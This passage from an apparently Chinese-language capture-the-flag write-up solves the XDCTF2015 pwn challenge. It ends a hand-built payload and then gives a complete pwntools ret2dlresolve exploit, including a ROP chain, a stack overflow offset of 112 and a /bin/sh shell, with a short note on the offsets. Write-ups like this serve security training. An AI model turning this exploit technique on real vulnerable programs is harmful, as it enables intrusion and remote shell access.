payload2 += b'system\x00'
payload2 = payload2.ljust(80, b'B') + b'/bin/sh\x00'

p.send(payload2)
p.interactive()

pwntools解

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.binary = elf = ELF("./pwn")
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])

rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
io = process("./pwn")
io.recvuntil("Welcome to XDCTF2015~!\n")
payload = flat({112:raw_rop,256:dlresolve.payload})
io.sendline(payload)
io.interactive()

payload = flat({112:raw_rop,256:dlresolve.payload})

112是栈溢出的偏移量,256是程序mian函数中read的字节数